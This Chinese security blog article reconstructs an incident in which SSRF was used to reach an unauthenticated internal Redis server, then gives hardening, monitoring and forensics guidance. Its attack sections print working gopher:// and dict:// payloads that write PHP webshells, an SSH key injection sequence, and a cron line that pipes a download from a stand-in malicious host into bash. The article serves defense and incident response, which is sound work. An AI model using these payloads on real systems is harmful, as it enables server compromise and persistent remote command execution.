当前位置: 首页 > news >正文

从一次应急响应复盘:Redis未授权访问如何被SSRF“远程遥控”写Shell

从应急响应视角拆解SSRF攻击链:Redis未授权访问的实战防御指南

凌晨3点15分,安全团队的告警系统突然响起刺耳的蜂鸣声。监控显示,某台Web服务器正在异常访问内网的Redis服务,而运维同事从未配置过此类连接。两小时后,我们在网站的upload目录下发现了陌生的PHP文件——这是一起典型的SSRF结合Redis未授权访问的攻击事件。本文将基于真实应急响应案例,还原攻击者如何通过SSRF漏洞"遥控"内网Redis服务,并最终写入Webshell的全过程。

1. 攻击链全景还原:从SSRF到Redis入侵

1.1 初始攻击入口:SSRF漏洞的发现与利用

攻击者通常通过以下方式发现SSRF漏洞:

  • 对Web应用中的URL参数进行模糊测试
  • 检查文件上传、PDF生成等功能的对外请求
  • 利用DNS重绑定技术绕过IP限制

典型攻击日志特征

2023-05-17T03:15:22.451Z "GET /export?url=http://192.168.1.100:6379/info HTTP/1.1" 200 342 2023-05-17T03:15:25.783Z "GET /export?url=dict://192.168.1.100:6379/info HTTP/1.1" 200 215

1.2 内网Redis的探测与认证绕过

当攻击者通过SSRF接触到内网Redis服务时,会立即进行服务指纹识别:

探测方式预期响应特征风险等级
HTTP协议探测返回ERR协议错误
DICT协议探测返回Redis版本信息
GOPHER协议探测支持多命令执行严重

未授权访问验证命令

redis-cli -h 192.168.1.100 -p 6379 INFO # 若返回服务器信息且无AUTH错误,则存在未授权访问

2. 攻击技术深度解析:协议利用与持久化技术

2.1 多协议攻击手法对比

攻击者会根据网络环境选择不同协议:

DICT协议利用特点

  • 单次只能执行一条命令
  • 适合快速探测和简单操作
  • 典型利用路径:
    dict://192.168.1.100:6379/CONFIG SET dir /var/www/html dict://192.168.1.100:6379/CONFIG SET dbfilename shell.php

GOPHER协议高级利用

  • 支持多命令连续执行
  • 可完成复杂攻击链
  • 示例攻击流程:
    gopher://192.168.1.100:6379/_AUTH%2520attacker_pass%250a FLUSHALL%250a SET shell "<?php system($_GET['cmd']);?>"%250a CONFIG SET dir /var/www/html%250a CONFIG SET dbfilename webshell.php%250a SAVE%250a

2.2 多种持久化技术剖析

攻击者常用的后门写入方式:

  1. Webshell写入

    CONFIG SET dir /var/www/html CONFIG SET dbfilename backdoor.php SET payload "\n\n<?php eval($_POST['cmd']);?>\n\n" SAVE
  2. SSH公钥注入

    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") | redis-cli -h 192.168.1.100 -x set ssh_key redis-cli -h 192.168.1.100 CONFIG SET dir /root/.ssh redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys redis-cli -h 192.168.1.100 SAVE
  3. 定时任务植入

    CONFIG SET dir /var/spool/cron CONFIG SET dbfilename root SET payload "\n\n*/5 * * * * curl http://malicious.com/shell.sh | bash\n\n" SAVE

3. 防御体系构建:从基础加固到深度防护

3.1 Redis服务基础加固清单

必须实施的加固措施

  1. 认证配置:

    # redis.conf requirepass ComplexPassw0rd!@# rename-command CONFIG ""
  2. 网络隔离:

    bind 127.0.0.1 protected-mode yes
  3. 权限控制:

    useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis

3.2 高级防御策略

网络层防护

  • 使用网络策略限制Redis端口访问
  • 为Redis服务配置独立的VLAN
  • 部署IDS规则检测异常Redis协议流量

应用层防护矩阵

防护层面具体措施实施难度
协议禁用非业务必要协议(如DICT)
请求验证实施严格的SSRF过滤规则
行为监控建立Redis命令审计日志
容器化使用Docker部署并限制能力

关键监控指标

# Prometheus监控规则示例 - alert: RedisConfigChange expr: changes(redis_config_set_commands_total[5m]) > 0 for: 2m labels: severity: critical

4. 应急响应实战:攻击痕迹排查与溯源

4.1 入侵指标(IOC)收集

Redis日志关键检查点

grep -E "CONFIG|SAVE|SLAVEOF|MODULE" /var/log/redis/redis.log

文件系统可疑痕迹

  • /var/www/html目录下异常.php文件
  • /root/.ssh/authorized_keys最近修改
  • /var/spool/cron/下异常任务

内存取证命令

redis-cli --latency -h 192.168.1.100 # 检测异常连接 netstat -tulnp | grep redis # 检查异常连接

4.2 攻击时间线重建

基于日志还原攻击过程的示例方法:

  1. 提取Web日志中的SSRF请求

    awk '/export?url=redis/{print $4,$7}' access.log | sort -k1
  2. 交叉关联Redis日志时间戳

    grep -n "CONFIG SET" /var/log/redis/redis.log
  3. 建立攻击事件序列表格:

时间戳攻击阶段关键操作
2023-05-17T03:15:22Z初始探测DICT协议INFO命令
2023-05-17T03:17:06Z配置修改CONFIG SET dir /var/www/html
2023-05-17T03:18:41ZWebshell写入SET payload + SAVE

5. 企业级防护架构设计

5.1 分层防御体系

云环境下的防护方案

graph TD A[Web应用防火墙] --> B[SSRF过滤规则] B --> C[网络ACL] C --> D[Redis安全组] D --> E[实例级防护] E --> F[审计日志]

5.2 自动化安全运维

Ansible加固Playbook示例

- name: Harden Redis Server hosts: redis_servers tasks: - name: Update redis.conf template: src: templates/redis.conf.j2 dest: /etc/redis/redis.conf notify: restart redis - name: Set filesystem permissions file: path: "/var/lib/redis" owner: redis group: redis mode: '0750'

关键加固参数模板

# redis.conf.j2 protected-mode yes rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" requirepass {{ redis_password }}

在多次应急响应中我们发现,攻击者常利用业务高峰期的监控盲区进行入侵。某次事件中,攻击者特意选择在系统备份时段进行操作,利用备份进程的高负载掩盖其恶意活动。这提醒我们需要建立异常行为基线,而不仅是依赖固定规则检测。

http://www.jsqmd.com/news/934601/

相关文章:

  • AI编程助手误删生产数据库:云IDE环境下的安全防护与最佳实践
  • 深度神经网络加速器优化:DOSA框架解析与实践
  • 从802.1p到DSCP:一张图看懂华为交换机优先级映射,解决跨网段业务卡顿
  • 聊天机器人进阶开发:对话状态管理、NLG生成与系统集成实战
  • 2026深圳怎么选手表回收商家,五大平台对比 + 新手避坑技巧 - 奢侈品回收测评
  • API网关在生成式AI场景下的四大演进:从流量管控到智能调度中心
  • 告别“盲人摸象”:Mask2Former的Masked Attention如何让小目标分割精度飙升?
  • 从EEG信号到情绪标签:深入拆解4D-CRNN如何玩转脑电的时-频-空三维信息
  • 别再让‘字符串超长’打断你的应用!深度解读KingbaseES的sql_mode与字符处理‘潜规则’
  • 生产运营AI痛点拆解:向量空间JBoltAI的思路
  • 告别页面刷新!用react-activation在React 18+项目中实现Vue同款keep-alive(附路由集成与手动清理缓存指南)
  • 琴童考级电钢琴怎么选?6款实测电钢琴推荐,适配1-10级备考需求
  • HarmonyOS 怎么跳转到系统设置?WantUtil 几行代码全搞定
  • 别再只盯着模型精度了!用thop和ptflops实测AlexNet/VGG/ResNet,聊聊FLOPs和Params怎么影响你的GPU账单
  • 慧曼宝宝除菌洗碗机:筑牢母婴入口安全防线 - 服务品牌热点
  • 用TensorFlow 2.x和MNIST手把手教你搭建卷积VAE:从编码器到解码器的完整实现
  • 告别手工分层:3步用AI将任何插画智能分解为可编辑PSD图层
  • 别再死记公式了!手把手教你用HFSS和Matlab FDTD两种方法仿真微带线阻抗(附工程文件)
  • 2026年|5月知网预警:别再交智商税!10款降AI工具实测红黑榜(附零成本自救方案) - 降AI实验室
  • SAP S4 HANA供应商主数据BP屏幕增强实战:手把手教你给LFA1表加自定义字段
  • ESP32新手避坑指南:从编译输出看懂你的代码用了多少内存(DRAM/IRAM/Flash详解)
  • 告别杂乱:用AD24的Class管理与规则设置,高效规划你的PCB电源与信号
  • 2026深圳名表回收甄选攻略,实测五家店铺,收的顶靠谱 - 奢侈品回收测评
  • 实测10款降AI率工具:这款高效过审神器我锁了 - 仙仙学姐测评
  • 手机号定位查询终极指南:3秒快速掌握归属地与地图精准定位
  • 别再死记UNet结构了!用‘编码器-解码器+跳跃连接’的思维,5分钟搞懂所有变体(含注意力、残差)
  • 深圳黄金回收选收的顶更省心,五家正规机构服务全解析 - 奢侈品回收测评
  • 你的企业数据真的安全吗?基于TCG Opal的NVMe全盘加密,在Kubernetes有状态工作负载中的落地实践
  • 如何用一颗MOS管+一颗三极管,让单片机IO口轻松控制大功率电源开关?
  • 如何一键提取9大网盘直链:告别龟速下载的终极解决方案